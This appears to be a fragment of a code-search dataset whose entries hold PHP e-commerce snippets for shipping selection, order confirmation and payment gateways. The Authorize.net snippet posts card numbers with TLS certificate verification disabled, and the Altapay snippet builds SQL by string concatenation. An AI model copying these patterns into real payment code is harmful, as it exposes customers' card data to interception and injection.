($selected_type_id && empty($shipping_types[$selected_type_id])) {\n $selected_type_id = null;\n }\n }\n\n $currencies = $config->getCurrencies();\n\n $proper_variant_is_selected = false;\n foreach ($services_flat as $s_id => $s) {\n if (!isset($s['type']) || !isset($shipping_types[$s['type']])) {\n continue;\n }\n\n // Apply free shipping coupon if set\n if ($is_free_shipping) {\n $s['rate'] = 0;\n }\n\n $type =& $shipping_types[$s['type']];\n $s = self::prepareShippingVariant($s, $currencies);\n\n $s['is_selected'] = $selected_variant_id && $selected_variant_id == $s_id;\n if ($s['is_selected']) {\n $selected_type_id = $type['id'];\n $proper_variant_is_selected = true;\n }\n\n // Update type rates\n if (\n !empty($s['currency']) &&\n !empty($currencies[$s['currency']]['rate']) &&\n !empty($currencies[$type['currency']]['rate']) &&\n isset($s['rate_min']) &&\n isset($s['rate_max'])\n ) {\n $rate_from = $currencies[$s['currency']]['rate'];\n $rate_to = $currencies[$type['currency']]['rate'];\n $rate_min = $s['rate_min'] * $rate_from / $rate_to;\n $rate_max = $s['rate_max'] * $rate_from / $rate_to;\n if ($type['rate_min'] === null || $type['rate_min'] > $rate_min) {\n $type['rate_min'] = $rate_min;\n }\n if ($type['rate_max'] === null || $type['rate_max'] < $rate_max) {\n $type['rate_max'] = $rate_max;\n }\n }\n\n // Update type dates\n if (!empty($s['delivery_date'])) {\n if ($type['date_min_ts'] === null || $type['date_min_ts'] > $s['date_min_ts']) {\n $type['date_min_ts'] = $s['date_min_ts'];\n $type['date_min'] = $s['date_min'];\n }\n if ($s['date_max_ts'] && ($type['date_max_ts'] === null || $type['date_max_ts'] < $s['date_max_ts'])) {\n $type['date_max_ts'] = $s['date_max_ts'];\n $type['date_max'] = $s['date_max'];\n }\n }\n\n $type['variants'][$s_id] = $s;\n unset($type);\n }\n\n if (!$proper_variant_is_selected) {\n $selected_variant_id = null;\n\n // If there's only one active shipping type, select it immediately\n $nonempty_types = array_filter($shipping_types, function ($type) {\n return !empty($type['variants']);\n });\n if (1 === count($nonempty_types)) {\n $type = reset($nonempty_types);\n $selected_type_id = $type['id'];\n }\n }\n\n // Format expected delivery date into human-readable form\n foreach ($shipping_types as &$type) {\n if (empty($type['date_min_ts'])) {\n continue;\n }\n\n if ($type['id'] !== 'post') {\n // Today and tommorrow\n $date = waDateTime::format('Ymd', $type['date_min_ts']);\n if ($date == waDateTime::format('Ymd')) {\n $type['date_formatted'] = _ws('Today');\n continue;\n } elseif ($date == waDateTime::format('Ymd', strtotime('+1 day'))) {\n $type['date_formatted'] = _ws('Tomorrow');\n continue;\n }\n }\n\n // Format into day+month+year\n $type['date_formatted'] = waDateTime::format('humandate', $type['date_min_ts']);\n if (empty($type['date_max_ts']) || $type['date_max_ts'] != $type['date_min_ts']) {\n $type['date_formatted'] = _w('from').' '.$type['date_formatted'];\n }\n\n // Do not show year if reasonable\n $type['date_formatted'] = str_replace(date('Y'), '', $type['date_formatted']);\n if ($type['date_min_ts'] - time() < 3600 * 24 * 365 / 2) {\n $type['date_formatted'] = str_replace(date('Y', strtotime('+1 year')), '', $type['date_formatted']);\n }\n $type['date_formatted'] = trim($type['date_formatted'], \" ,\\t\\r\\n\");\n }\n unset($type);\n\n if ($selected_type_id && isset($shipping_types[$selected_type_id])) {\n $shipping_types[$selected_type_id]['is_selected'] = true;\n\n // Select single variant if user selected type\n if (!$selected_variant_id && 1 == count($shipping_types[$selected_type_id]['variants'])) {\n $selected_variant_id = key($shipping_types[$selected_type_id]['variants']);\n }\n } else {\n $selected_type_id = null;\n }\n\n if (!$selected_variant_id) {\n $errors[] = [\n 'name' => 'shipping[variant_id]',\n 'text' => _w('Please select shipping option.'),\n 'section' => $this->getId(),\n ];\n } else {\n if (!$config['shipping']['ask_zip']) {\n unset($address['zip']);\n }\n\n // This is used by Details step later\n $data['shipping']['items'] = $items;\n $data['shipping']['address'] = $address;\n $data['shipping']['selected_variant'] = $shipping_types[$selected_type_id]['variants'][$selected_variant_id];\n $data['shipping']['is_free_shipping'] = $is_free_shipping;\n }\n\n // These are used by map that shows pickpoint locations\n $adapter = null;\n $apikey = null;\n try{\n $adapter = wa()->getMap()->getId();\n if ($adapter === 'yandex') {\n $apikey = 'apikey';\n } else {\n $apikey = 'key';\n }\n $apikey = wa()->getMap()->getSettings($apikey);\n } catch (Exception $e) {\n\n }\n\n $map = [\n 'adapter' => $adapter,\n 'api_key' => $apikey\n ];\n\n $result = $this->addRenderedHtml([\n 'selected_type_id' => $selected_type_id,\n 'selected_variant_id' => $selected_variant_id,\n 'types' => $shipping_types,\n 'map' => $map\n ], $data, $errors);\n\n if ($data['origin'] !== 'form' && 'only' === ifset($data, 'input', 'shipping', 'html', null)) {\n unset($result['types']);\n }\n\n return array(\n 'data' => $data,\n 'result' => $result,\n 'errors' => $errors,\n 'can_continue' => !$errors,\n );\n }", "title": "" }, { "docid": "bb098d5465f2e6016ed451342df11bef", "score": "0.544575", "text": "public function initContent()\n {\n $this->display_column_left = false;\n parent::initContent();\n\n // Assignment of order detail variables\n $orderID = (int) $_REQUEST['id_order'];\n $order = new Order($orderID);\n $orderPaymentNature = '';\n $productDetails = $order->getProducts();\n $deliveryAddress = new Address((int) ($order->id_address_delivery));\n $invoiceAddress = new Address((int) ($order->id_address_invoice));\n $altapayOrderDetails = getAltapayOrderDetails($orderID);\n $terminalTokenControlStatus = 0;\n\n // Loop through the order details to check and assign payment nature\n foreach ($altapayOrderDetails as $altapayOrderDetail) {\n $orderPaymentNature = $altapayOrderDetail['paymentNature'];\n if ($orderPaymentNature === 'CreditCard') {\n $card = $altapayOrderDetail['cardMask'];\n $cardToken = $altapayOrderDetail['cardToken'];\n $cardBrand = $altapayOrderDetail['cardBrand'];\n $cardExpiryDate = $altapayOrderDetail['cardExpiryDate'];\n $userID = $this->context->customer->id;\n\n $sql = 'SELECT * FROM `' . _DB_PREFIX_ . 'altapay_saved_credit_card` WHERE userID = \"' . $userID . '\" and creditcardNumber =\"' . $card . '\" ';\n $results = Db::getInstance()->executeS($sql);\n\n $orderTerminalRemoteName = getAltapayOrderDetails($orderID)[0]['paymentTerminal'];\n\n $terminalTokenControlStatus = getTerminalTokenControlStatus($orderTerminalRemoteName)[0]['ccTokenControl_'];\n\n $this->context->smarty->assign('creditCardStatus', $results ? 1 : 0);\n $this->context->smarty->assign('cardMask', $card);\n $this->context->smarty->assign('cardToken', $cardToken);\n $this->context->smarty->assign('cardBrand', $cardBrand);\n $this->context->smarty->assign('cardExpiryDate', $cardExpiryDate);\n } else {\n $this->context->smarty->assign('cardMask', 0);\n $this->context->smarty->assign('cardToken', 0);\n }\n }\n\n // Assigment of necessary variables to render in template\n $this->context->smarty->assign('deliveryAddress', $deliveryAddress);\n $this->context->smarty->assign('invoiceAddress', $invoiceAddress);\n $this->context->smarty->assign('productDetails', $productDetails);\n $this->context->smarty->assign('orderID', $orderID);\n $this->context->smarty->assign('orderDetails', $order);\n\n // Display appropriate template according to user logged in statys\n if ($this->context->customer->isLogged() && $terminalTokenControlStatus) {\n $this->context->smarty->assign('paymentNature', $orderPaymentNature);\n $this->setTemplate('module:altapay/views/templates/front/orderConfirmationRegisteredUser.tpl');\n } else {\n $this->setTemplate('module:altapay/views/templates/front/orderConfirmationGuestUser.tpl');\n }\n }", "title": "" }, { "docid": "d271994bf83850ab129e1338bb476296", "score": "0.54452336", "text": "function initData() {\n\t\tif (isset($this->typeId)) {\n\t\t\t$registrationType =& $this->registrationTypeDao->getRegistrationType($this->typeId);\n\n\t\t\tif ($registrationType != null) {\n\t\t\t\t$this->_data = array(\n\t\t\t\t\t'name' => $registrationType->getName(null), // Localized\n\t\t\t\t\t'description' => $registrationType->getDescription(null), // Localized\n 'survey' => $registrationType->getSurvey(null), // Localized\n 'applicationForm' => $registrationType->getApplicationForm(null), // Localized\n\t\t\t\t\t'cost' => $registrationType->getCost(),\n\t\t\t\t\t'currency' => $registrationType->getCurrencyCodeAlpha(),\n\t\t\t\t\t'openDate' => $registrationType->getOpeningDate(),\n\t\t\t\t\t'closeDate' => $registrationType->getClosingDate(),\n\t\t\t\t\t'expiryDate' => $registrationType->getExpiryDate(),\n\t\t\t\t\t'access' => $registrationType->getAccess(),\n\t\t\t\t\t'institutional' => $registrationType->getInstitutional(),\n\t\t\t\t\t'membership' => $registrationType->getMembership(),\n\t\t\t\t\t'notPublic' => $registrationType->getPublic()?0:1,\n\t\t\t\t\t'code' => $registrationType->getCode()\n\t\t\t\t);\n\n\t\t\t} else {\n\t\t\t\t$this->typeId = null;\n\t\t\t}\n\t\t} else {\n\t\t\t$this->_data = array(\n\t\t\t\t'notPublic' => 0\n\t\t\t);\n\t\t}\n\t}", "title": "" }, { "docid": "bc44587f2b057422e885a0c564b64739", "score": "0.5443496", "text": "protected function processResultData()\n\t{\n\t\t$this->checkIblock();\n\n\t\tif($this->hasErrors()) {\n\t\t\treturn $this->processErrors();\n\t\t}\n\n\t\t$this->initCurrencyConvert();\n\t\t$this->initCatalogInfo();\n\t\t$this->initPrices();\n\t\t$this->initElementList();\n\n\t\tif(!$this->hasErrors()) {\n\t\t\t$this->makeElementLinks();\n\t\t\t$this->clearItems();\n\t\t\t$this->initCatalogDiscountCache();\n\t\t\t$this->processProducts();\n\t\t\t$this->processOffers();\n\t\t\t$this->makeOutputResult();\n\t\t\t$this->clearItems();\n\t\t}\n\t}", "title": "" }, { "docid": "146d8075f42da98f2e5061fbd662e555", "score": "0.5437706", "text": "public function prepare() {\n\n }", "title": "" }, { "docid": "b89e11f0a6f72feb1329df7cd733e321", "score": "0.5435631", "text": "public function loadData()\n {\n // Check if payment article is available and set default if not\n if (empty($this->getArticlesByArticleTypeUidAsUidlist(PAYMENTARTICLETYPE))) {\n $this->addArticle($this->conf['defaultPaymentArticleId']);\n }\n }", "title": "" }, { "docid": "ead467ca1736db5ca78a144defb01107", "score": "0.54356194", "text": "abstract public function get_payment_template();", "title": "" }, { "docid": "3fef3f64661b7cb478513629aaab6d85", "score": "0.5430651", "text": "function process(\n $order, //array\n $login, //string\n $transkey, //string\n $email_customer=true, //true or false\n $email_merchant=true, //true or false\n $test=false //true or false\n )\n {\n\t $new_order_id = $order->next_orders_id;\n\n\t // Populate an array that contains all of the data to be submitted\n\t $submit_data = array(\n 'x_login' => $login, // The login name as assigned to you by authorize.net\n 'x_tran_key' => $transkey, // The Transaction Key (16 digits) is generated through the merchant interface\n 'x_relay_response' => 'FALSE', // AIM uses direct response, not relay response\n 'x_delim_char' => '|',\n 'x_delim_data' => 'TRUE', // The default delimiter is a comma\n 'x_version' => '3.1', // 3.1 is required to use CVV codes\n 'x_type' => 'AUTH_CAPTURE',\n 'x_method' => 'CC',\n 'x_amount' => number_format($order->info['total'], 2),\n 'x_card_num' => $order->info['cc_number'],\n 'x_exp_date' => $order->info['cc_expires_month'] . substr($order->info['cc_expires_year'], -2),\n 'x_card_code' => $order->info['cc_cvv'],\n 'x_email_customer' => ($email_customer == true) ? 'TRUE': 'FALSE',\n 'x_email_merchant' => ($email_merchant == true) ? 'TRUE': 'FALSE',\n 'x_invoice_num' => $new_order_id,\n 'x_first_name' => $order->billing['firstname'],\n 'x_last_name' => $order->billing['lastname'],\n 'x_company' => $order->billing['company'],\n 'x_address' => $order->billing['street_address'],\n 'x_city' => $order->billing['city'],\n 'x_state' => $order->billing['state'],\n 'x_zip' => $order->billing['postcode'],\n 'x_country' => $order->billing['country'],\n 'x_phone' => $order->customer['telephone'],\n 'x_email' => $order->customer['email_address'],\n 'x_ship_to_first_name' => $order->delivery['firstname'],\n 'x_ship_to_last_name' => $order->delivery['lastname'],\n 'x_ship_to_address' => $order->delivery['street_address'],\n 'x_ship_to_city' => $order->delivery['city'],\n 'x_ship_to_state' => $order->delivery['state'],\n 'x_ship_to_zip' => $order->delivery['postcode'],\n 'x_ship_to_country' => $order->delivery['country'],\n 'x_description' => $order->description,\n 'x_test_request' => ($test == true) ? 'TRUE' : 'FALSE');\n \n $data='';\n\n\t\t // concatenate the submission data and put into variable $data\n\t while(list($key, $value) = each($submit_data)) {\n $data .= $key . '=' . urlencode($value) . '&';\n\t }\n\n\t // Remove the last \"&\" from the string\n\t $data = substr($data, 0, -1);\n\n\t // Post order info data to Authorize.net\n\t // cURL must be compiled into PHP\n\t // Connection must be https\n\n\t if($test == true){\n $url = 'https://test.authorize.net/gateway/transact.dll';\n\t }else{\n $url = 'https://secure.authorize.net/gateway/transact.dll';\n\t }\n\n\t $ch = curl_init();\n\n\t curl_setopt($ch, CURLOPT_URL,$url);\n curl_setopt($ch, CURLOPT_VERBOSE, 0);\n\t curl_setopt($ch, CURLOPT_POST, 1);\n curl_setopt($ch, CURLOPT_HEADER, 0); // set to 0 to eliminate header info from response\n curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); // Returns response data instead of TRUE(1)\n curl_setopt($ch, CURLOPT_POSTFIELDS, $data); // use HTTP POST to send form data\n curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE); // uncomment this line if you get no gateway response.\n\n\t $response = curl_exec($ch);\n\n\t curl_close ($ch);\n\n\t $exp_response = explode('|', $response);\n\n // If the response code is not 1 (approved) then redirect back to the payment page with the appropriate error message\n\t if($exp_response[0] != '1'){\n $this->temp->authorize_error=$exp_response[3];\n return false;\n\t }else{\n return true;\n }\n\t }", "title": "" }, { "docid": "cd6c6c57997f98bc5310f2bf01a3213e", "score": "0.54266113", "text": "public function postProcess()\n {\n $cartId = Tools::getValue('cartId');\n $orderId = Tools::getValue('orderId');\n $secureKey = Tools::getValue('secureKey');\n\n $cart = new Cart($cartId);\n\n if (!Validate::isLoadedObject($cart)) {\n $this->ajaxDie(json_encode([\n 'error_type' => 'unknown_error',\n 'error_text' => $this->module->l('An unknown error error occurred. Please contact support', self::FILENAME),\n ]));\n }\n\n if ($cart->secure_key !== $secureKey) {\n die($this->module->l('Error. Insecure cart', self::FILENAME));\n }\n\n try {\n $assertResponseBody = $this->assertTransaction($cartId);\n\n //TODO look into pipeline design pattern to use when object is modified in multiple places to avoid this issue.\n //NOTE must be left below assert action to get newest information.\n $order = new Order($orderId);\n\n /** @var SaferPayOrderStatusService $orderStatusService */\n $orderStatusService = $this->module->getService(SaferPayOrderStatusService::class);\n\n $paymentBehaviourWithout3DS = (int) Configuration::get(SaferPayConfig::PAYMENT_BEHAVIOR_WITHOUT_3D);\n\n if (\n !$assertResponseBody->getLiability()->getLiabilityShift() &&\n in_array($order->payment, SaferPayConfig::SUPPORTED_3DS_PAYMENT_METHODS) &&\n $paymentBehaviourWithout3DS === SaferPayConfig::PAYMENT_BEHAVIOR_WITHOUT_3D_CANCEL\n ) {\n $orderStatusService->cancel($order);\n\n die($this->module->l('Liability shift is false', self::FILENAME));\n }\n\n //NOTE to get latest information possible and not override new information.\n $order = new Order($orderId);\n\n $paymentBehaviour = (int) Configuration::get(SaferPayConfig::PAYMENT_BEHAVIOR);\n\n if (\n $paymentBehaviour === SaferPayConfig::DEFAULT_PAYMENT_BEHAVIOR_CAPTURE &&\n $assertResponseBody->getTransaction()->getStatus() !== TransactionStatus::CAPTURED\n ) {\n $orderStatusService->capture($order);\n }\n } catch (Exception $e) {\n PrestaShopLogger::addLog(\n sprintf(\n '%s has caught an error: %s',\n __CLASS__,\n $e->getMessage()\n ),\n 1,\n null,\n null,\n null,\n true\n );\n die($this->module->l($e->getMessage(), self::FILENAME));\n }\n\n die($this->module->l('Success', self::FILENAME));\n }", "title": "" }, { "docid": "21b8d808a8b5228673d9c2eb05302e3a", "score": "0.54246294", "text": "public function prepare()\n {\n $this->config = ConfigLoader::getInstance();\n $this->config->loadFromSymbol(true); // force loading\n if ($this->config->isLoaded()) {\n $this->config->initForBuild();\n }\n }", "title": "" } ]
6f9400badeddaf4fc79dd8075f753415
converts DMS coordinates to decimal
[ { "docid": "9ddfbbbd8db7c74d745acdb7823df0b3", "score": "0.5701831", "text": "function DMS2Decimal($degrees = 0, $minutes = 0, $seconds = 0, $direction = 'n') {\n\t //returns false on bad inputs, decimal on success\n\t\t\n\t //direction must be n, s, e or w, case-insensitive\n\t $d = strtolower($direction);\n\t $ok = array('n', 's', 'e', 'w');\n\t\t\n\t //degrees must be integer between 0 and 180\n\t if(!is_numeric($degrees) || $degrees < 0 || $degrees > 180) {\n\t\t $decimal = false;\n\t }\n\t //minutes must be integer or float between 0 and 59\n\t elseif(!is_numeric($minutes) || $minutes < 0 || $minutes > 59) {\n\t\t $decimal = false;\n\t }\n\t //seconds must be integer or float between 0 and 59\n\t elseif(!is_numeric($seconds) || $seconds < 0 || $seconds > 59) {\n\t\t $decimal = false;\n\t }\n\t elseif(!in_array($d, $ok)) {\n\t\t $decimal = false;\n\t }\n\t else {\n\t\t //inputs clean, calculate\n\t\t $decimal = $degrees + ($minutes / 60) + ($seconds / 3600);\n\t\t \n\t\t //reverse for south or west coordinates; north is assumed\n\t\t if($d == 's' || $d == 'w') {\n\t\t\t $decimal *= -1;\n\t\t }\n\t }\n\t\t\n\t return $decimal;\n\t}", "title": "" } ]
[ { "docid": "83e63a7162eacb0649e74a4ddc8fafb5", "score": "0.6660736", "text": "function convertDMSToDecimal($latlng) {\n $valid = false;\n $decimal_degrees = 0;\n $degrees = 0; $minutes = 0; $seconds = 0; $direction = 1;\n \n // Determine if there are extra periods in the input string\n $num_periods = substr_count($latlng, '.');\n if ($num_periods > 1) {\n $temp = preg_replace('/\\./', ' ', $latlng, $num_periods - 1); // replace all but last period with delimiter\n $temp = trim(preg_replace('/[a-zA-Z]/','',$temp)); // when counting chunks we only want numbers\n $chunk_count = count(explode(\" \",$temp));\n if ($chunk_count > 2) {\n $latlng = preg_replace('/\\./', ' ', $latlng, $num_periods - 1); // remove last period\n } else {\n $latlng = str_replace(\".\",\" \",$latlng); // remove all periods, not enough chunks left by keeping last one\n }\n }\n \n // Remove unneeded characters\n $latlng = trim($latlng);\n $latlng = str_replace(\"º\",\" \",$latlng);\n $latlng = str_replace('°',\" \",$latlng);\n $latlng = str_replace(\"'\",\" \",$latlng);\n $latlng = str_replace(\"\\\"\",\" \",$latlng);\n $latlng = str_replace(\" \",\" \",$latlng);\n $latlng = substr($latlng,0,1) . str_replace('-', ' ', substr($latlng,1)); // remove all but first dash\n \n if ($latlng != \"\") {\n // DMS with the direction at the start of the string\n if (preg_match(\"/^([nsewNSEW]?)\\s*(\\d{1,3})\\s+(\\d{1,3})\\s+(\\d+\\.?\\d*)$/\",$latlng,$matches)) {\n $valid = true;\n $degrees = intval($matches[2]);\n $minutes = intval($matches[3]);\n $seconds = floatval($matches[4]);\n if (strtoupper($matches[1]) == \"S\" || strtoupper($matches[1]) == \"W\")\n $direction = -1;\n }\n // DMS with the direction at the end of the string\n elseif (preg_match(\"/^(-?\\d{1,3})\\s+(\\d{1,3})\\s+(\\d+(?:\\.\\d+)?)\\s*([nsewNSEW]?)$/\",$latlng,$matches)) {\n $valid = true;\n $degrees = intval($matches[1]);\n $minutes = intval($matches[2]);\n $seconds = floatval($matches[3]);\n if (strtoupper($matches[4]) == \"S\" || strtoupper($matches[4]) == \"W\" || $degrees < 0) {\n $direction = -1;\n $degrees = abs($degrees);\n }\n }\n if ($valid) {\n // A match was found, do the calculation\n $decimal_degrees = ($degrees + ($minutes / 60) + ($seconds / 3600)) * $direction;\n } else {\n // Decimal degrees with a direction at the start of the string\n if (preg_match(\"/^([nsewNSEW]?)\\s*(\\d+(?:\\.\\d+)?)$/\",$latlng,$matches)) {\n $valid = true;\n if (strtoupper($matches[1]) == \"S\" || strtoupper($matches[1]) == \"W\")\n $direction = -1;\n $decimal_degrees = $matches[2] * $direction;\n }\n // Decimal degrees with a direction at the end of the string\n elseif (preg_match(\"/^(-?\\d+(?:\\.\\d+)?)\\s*([nsewNSEW]?)$/\",$latlng,$matches)) {\n $valid = true;\n if (strtoupper($matches[2]) == \"S\" || strtoupper($matches[2]) == \"W\" || $degrees < 0) {\n $direction = -1;\n $degrees = abs($degrees);\n }\n $decimal_degrees = $matches[1] * $direction;\n }\n }\n }\n if ($valid) {\n return substr($decimal_degrees,0,8); // 5 decimal places\n } else {\n return false;\n }\n }", "title": "" }, { "docid": "0b2b9e2e24ac83edef333a9321e8dbe5", "score": "0.62159914", "text": "function mmtopx($d){\r\n\t$fc=96/25.4;\r\n\t$n=$d*$fc;\r\n\treturn $n.\"px\";\r\n}", "title": "" }, { "docid": "0b2b9e2e24ac83edef333a9321e8dbe5", "score": "0.62159914", "text": "function mmtopx($d){\r\n\t$fc=96/25.4;\r\n\t$n=$d*$fc;\r\n\treturn $n.\"px\";\r\n}", "title": "" }, { "docid": "f3871f0588e97449c93a0d4eddf69758", "score": "0.6206415", "text": "function DMStoDEC($deg,$min,$sec,$dir)\n\t{\n\t// to decimal format longitude / latitude\n\t $res = $deg+((($min*60)+($sec))/3600);\n\n\t if($dir == \"S\" || $dir == \"W\") {\n\t \treturn -$res;\n\t }\n\n\t return $res;\n\t}", "title": "" }, { "docid": "a54e1585149500690217c2d6ac17cfde", "score": "0.6175399", "text": "function mmtopx($d){\n\t$fc=96/25.4;\n\t$n=$d*$fc;\n\treturn $n.\"px\";\n}", "title": "" }, { "docid": "aa9dec51bc48920572fb28ed741ca26f", "score": "0.6067204", "text": "function DMStoDEC($deg,$min,$sec)\n\t{\n\t// to decimal format longitude / latitude\n\n\t return $deg+((($min*60)+($sec))/3600);\n\t}", "title": "" }, { "docid": "494fae22e59cc92534969a29cacf03c0", "score": "0.5849367", "text": "public function toCoordinate();", "title": "" }, { "docid": "bf47153e3f63646716a5a0b772c9a7d1", "score": "0.5842679", "text": "function convertCoord($opcao, $valor01, $valor02, $valor03)\n{\n if ($opcao === 'GRAUS') \n {\n $grausLat = (int) (strstr($valor01, '.', true));\n $grausLon = (int) (strstr($valor02, '.', true));\n $minutosLat = (float) ('0' . strstr($valor01, '.', false));\n $minutosLon = (float) ('0' . strstr($valor02, '.', false));\n $auxLat = ($minutosLat * 60);\n $auxLon = ($minutosLon * 60);\n $minutosLat = (int) (strstr($auxLat, '.', true));\n $minutosLon = (int) (strstr($auxLon, '.', true));\n $segundosLat = (float) ('0' . strstr($auxLat, '.', false));\n $segundosLon = (float) ('0' . strstr($auxLon, '.', false));\n $segundosLat = round(($segundosLat * 60), 1);\n $segundosLon = round(($segundosLon * 60), 1);\n if ($grausLat < 0) \n {\n $auxLat = ($grausLat * -1) . \"&#176;\" . $minutosLat . \"'\" . $segundosLat . '\"S';\n } \n else \n {\n $auxLat = ($grausLat * -1) . \"&#176;\" . $minutosLat . \"'\" . $segundosLat . '\"N';\n }\n \n if ($grausLon < 0) \n {\n $auxLon = ($grausLon * -1) . \"&#176;\" . $minutosLon . \"'\" . $segundosLon . '\"W';\n } \n else \n {\n $auxLon = ($grausLon * -1) . \"&#176;\" . $minutosLon . \"'\" . $segundosLon . '\"E';\n }\n $coords = array\n (\n 'latitude' => $auxLat, \n 'longitude' => $auxLon\n );\n \n return $coords;\n }\n else if($opcao === 'DECIMAIS_LAT')\n {\n $auxLat = (($valor01 + round(((($valor03 / 60) + $valor02) / 60), 6)) * -1);\n \n return $auxLat;\n }\n else if($opcao === 'DECIMAIS_LON')\n {\n $auxLon = (($valor01 + round(((($valor03 / 60) + $valor02) / 60), 6)) * -1);\n \n return $auxLon;\n }\n else\n {\n return NULL;\n }\n}", "title": "" }, { "docid": "4ae0b35c2edfd2a1ee4b77d83c75fda5", "score": "0.5793497", "text": "function dd_to_dms($dd)\n {\n // Converts decimal degrees to degrees, minutes and decimal seconds\n // This is the piece of code which may appear to\n // be inefficient, but to avoid issues with floating\n // point math we extract the integer part and the float\n // part by using a string function.\n\n $vars = explode(\".\",$dd);\n $deg = $vars[0];\n $tempma = \"0.\".$vars[1];\n $tempma = $tempma * 3600;\n $min = floor($tempma / 60);\n $sec = $tempma - ($min*60);\n return array(\"deg\" => $deg, \"min\" => $min, \"sec\" => $sec);\n }", "title": "" }, { "docid": "d98729dbbb56d95df7e28a2d53ab473c", "score": "0.57801914", "text": "static function coordinate_to_decimal($deg, $min, $sec)\n {\n return $deg+((($min*60)+($sec))/3600);\n }", "title": "" }, { "docid": "e129b3819976a7fcac03c2dc91109e4d", "score": "0.5679266", "text": "public function convert() {\n if ($this->unit == 'miles to km') {\n $result = $this->number * 1.609;\n } elseif ($this->unit == 'km to miles') {\n $result = $this->number * 0.621;\n }\n elseif ($this->unit == 'km to parsecs') {\n $result = $this->number * 3.24078e-14;\n }\n elseif ($this->unit == 'miles to parsecs') {\n $result = $this->number * 5.21553e-14;\n } else {\n $result = 'error';\n }\n return $result;\n }", "title": "" }, { "docid": "0e0ec22892d54c0f2f0ca15cfbc3e667", "score": "0.547048", "text": "function dd_to_dm($dec)\n {\n // Converts decimal degrees to DM\n // ( decimal minutes) \n // This is the piece of code which may appear to \n // be inefficient, but to avoid issues with floating\n // point math we extract the integer part and the float\n // part by using a string function.\n\n $vars = explode(\".\",$dec);\n $deg = $vars[0];\n $tempma = \"0.\".$vars[1];\n $tempma = $tempma * 3600;\n $min = floor($tempma / 60);\n $des = $tempma - ($min*60);\n $des = explode(\".\",$des/60);\n $des = isset($des[1]) ? $des[1] : 0;\n return array(\"deg\" => $deg, \"min\" => $min.'.'.$des);\n }", "title": "" }, { "docid": "7677cb2186d6cdab1ebab23922d0aaa9", "score": "0.54655784", "text": "public function coordinates()\n {\n\n return (string)$this->coordinates;\n\n }", "title": "" }, { "docid": "644def91073d12d9eafdb51b549c482b", "score": "0.54429865", "text": "public function getDecimalPoint(): string\n {\n return $this->decimalPoint;\n }", "title": "" }, { "docid": "60057dc742e8ed0935651fd8b6a91319", "score": "0.5441504", "text": "public function eurosDolares(){\n return $this->numero*1.22393;\n }", "title": "" }, { "docid": "73173c5b2a9c7848424c062a47d3196d", "score": "0.54353255", "text": "public static function sourceCoordsToFieldValue($x,$y) {\n\t\t$x = (float)$x;\n\t\t$y = (float)$y;\n\t\t\n\t\treturn $x.','.$y;\n\t\t\n\t}", "title": "" }, { "docid": "0c28a7d85cf822e5cf2344f35f7fd6cf", "score": "0.5431896", "text": "public final function getDecimalValue() : float\n {\n\n return $this->properties[ 'decimal' ];\n\n }", "title": "" }, { "docid": "f710e3acde51271ae57bc54fa372dd1c", "score": "0.5421598", "text": "function dms2dec($deg,$min,$sec,$dir='N') {\n $dir = strtoupper($dir);\n $sign = $dir == 'S' || $dir == 'W' ? -1 : 1;\n return $sign * $deg+((($min*60)+($sec))/3600);\n}", "title": "" }, { "docid": "c509aa30326d7211fe5504471f66ef3b", "score": "0.53869206", "text": "function asFloat() { return $this->map('floatval'); }", "title": "" }, { "docid": "8858a33e4ebdc77b7b42a90bcb5d2603", "score": "0.5382422", "text": "public function getFormattedPoints()\n\t{\n\t\treturn fNumber(floor($this->getPoints()));\n\t}", "title": "" }, { "docid": "ccd9c2d8008f1df1162a50f5d80c5193", "score": "0.5359872", "text": "static function decimal_to_coordinate($dec)\n {\n // This is the piece of code which may appear to\n // be inefficient, but to avoid issues with floating\n // point math we extract the integer part and the float\n // part by using a string function.\n $vars = explode('.', $dec);\n $deg = $vars[0];\n $tempma = \"0.{$vars[1]}\";\n $tempma = $tempma * 3600;\n $min = floor($tempma / 60);\n $sec = $tempma - ($min*60);\n $coordinate = array\n (\n 'deg' => $deg,\n 'min' => $min,\n 'sec' => $sec\n );\n return $coordinate;\n }", "title": "" }, { "docid": "c45f7fbb6f4a4976e7892446830f1c2f", "score": "0.534745", "text": "function MetersToLatLon($mx, $my)\n\t{\n\t\t$lon = ($mx / $this->originShift) * 180.0;\n\t\t$lat = ($my / $this->originShift) * 180.0;\n\t\n\t\t$lat = 180 / M_PI * (2 * atan( exp( $lat * M_PI / 180.0)) - M_PI / 2.0);\n\t\t\n\t\treturn array($lat, $lon);\n\t}", "title": "" }, { "docid": "b3e796c20b9f553db336f3b0cb1df251", "score": "0.53124684", "text": "function metersToPixels($mx,$my,$zoom) {\n\t\t$res = 156543.03392804062 / pow(2,$zoom);\n\t\t$originShift = 20037508.342789244;\n\t\t\n\t\t$px = ($mx + $originShift) / $res;\n $py = ($my + $originShift) / $res;\n\t\t\n\t\treturn [$px, $py];\n\t }", "title": "" }, { "docid": "d4e91e7cc6910a84bc37facb0c2c68e0", "score": "0.52607626", "text": "function RD2WGS84($x, $y){\n\n $dX = ($x - 155000) * pow(10,-5);\n $dY = ($y - 463000) * pow(10,-5);\n\n $SomN = (3235.65389 * $dY) + (-32.58297 * pow($dX,2)) + (-0.2475 * pow($dY,2)) + (-0.84978 * pow($dX,2) * $dY) + (-0.0655 * pow($dY,3)) + (-0.01709 * pow($dX,2) * pow($dY,2)) + (-0.00738 * $dX) + (0.0053 * pow($dX,4)) + (-0.00039 * pow($dX,2) * pow($dY,3)) + (0.00033 * pow($dX,4) * $dY) + (-0.00012 * $dX * $dY);\n $SomE = (5260.52916 * $dX) + (105.94684 * $dX * $dY) + (2.45656 * $dX * pow($dY,2)) + (-0.81885 * pow($dX,3)) + (0.05594 * $dX * pow($dY,3)) + (-0.05607 * pow($dX,3) * $dY) + (0.01199 * $dY) + (-0.00256 * pow($dX,3) * pow($dY,2)) + (0.00128 * $dX * pow($dY,4)) + (0.00022 * pow($dY,2)) + (-0.00022 * pow($dX,2)) + (0.00026 * pow($dX,5));\n\n $lat = 52.15517 + ($SomN / 3600);\n $lon = 5.387206 + ($SomE / 3600);\n \n return(Array(\"lat\" => $lat, \"lon\" => $lon));\n }", "title": "" }, { "docid": "c550bbab5683049aa61abba59db796d2", "score": "0.52032185", "text": "public function converte($dado){\t\t\t\n\t\tif ($dado != \"\"){\t\n\t\t\treturn number_format($dado, 2, \",\", \".\");\t\n\t\t} \n\t\telse {\t\n\t\t\treturn \"0,00\";\t\n\t\t}\t\n\t}", "title": 